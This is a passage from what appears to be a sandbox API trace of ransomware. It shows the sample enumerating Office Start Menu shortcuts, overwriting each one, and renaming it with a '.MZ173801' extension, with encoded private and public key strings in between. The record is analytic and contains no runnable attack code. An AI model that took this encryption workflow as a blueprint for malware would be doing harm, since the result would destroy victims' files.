(in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.074] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xa15 [0215.074] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.074] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0xa15, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0xa15, lpOverlapped=0x0) returned 1 [0215.281] CloseHandle (hObject=0x330) returned 1 [0215.282] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.391] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0xa15, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0xa15, lpOverlapped=0x0) returned 1 [0215.392] CloseHandle (hObject=0x330) returned 1 [0215.392] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk.mz173801")) returned 1 [0215.393] GetCurrentThreadId () returned 0xab4 [0215.393] GetCurrentThreadId () returned 0xab4 [0215.393] GetCurrentThreadId () returned 0xab4 [0215.393] GetCurrentThreadId () returned 0xab4 [0215.393] GetCurrentThreadId () returned 0xab4 [0215.393] GetCurrentThreadId () returned 0xab4 [0215.393] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd412f52, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x8eb, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Project Server 2016 Accounts.lnk", cAlternateFileName="PROJEC~1.LNK")) returned 1 [0215.394] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0215.394] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0215.394] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd412f52, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x8eb)) returned 1 [0215.395] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk")) returned 0x20 [0215.395] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk", dwFileAttributes=0x80) returned 1 [0215.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0215.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0215.399] GetCurrentThreadId () returned 0xab4 [0215.399] GetCurrentThreadId () returned 0xab4 [0215.399] GetCurrentThreadId () returned 0xab4 [0215.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0215.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0215.400] GetCurrentThreadId () returned 0xab4 [0215.400] GetCurrentThreadId () returned 0xab4 [0215.400] GetCurrentThreadId () returned 0xab4 [0215.400] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.400] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0215.400] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.400] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x8eb [0215.400] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0215.400] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x8eb, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x8eb, lpOverlapped=0x0) returned 1 [0215.402] CloseHandle (hObject=0x330) returned 1 [0215.403] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0215.404] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x8eb, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x8eb, lpOverlapped=0x0) returned 1 [0215.405] CloseHandle (hObject=0x330) returned 1 [0215.405] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Project Server 2016 Accounts.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\project server 2016 accounts.lnk.mz173801")) returned 1 [0215.406] GetCurrentThreadId () returned 0xab4 [0215.407] GetCurrentThreadId () returned 0xab4 [0215.407] GetCurrentThreadId () returned 0xab4 [0215.407] GetCurrentThreadId () returned 0xab4 [0215.407] GetCurrentThreadId () returned 0xab4 [0215.407] GetCurrentThreadId () returned 0xab4 [0215.407] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d20ecd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a1, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Skype for Business Recording Manager.lnk", cAlternateFileName="SKYPEF~1.LNK")) returned 1 [0215.407] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0215.407] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0215.407] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d20ecd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a1)) returned 1 [0215.408] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\skype for business recording manager.lnk")) returned 0x20 [0215.408] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Skype for Business Recording 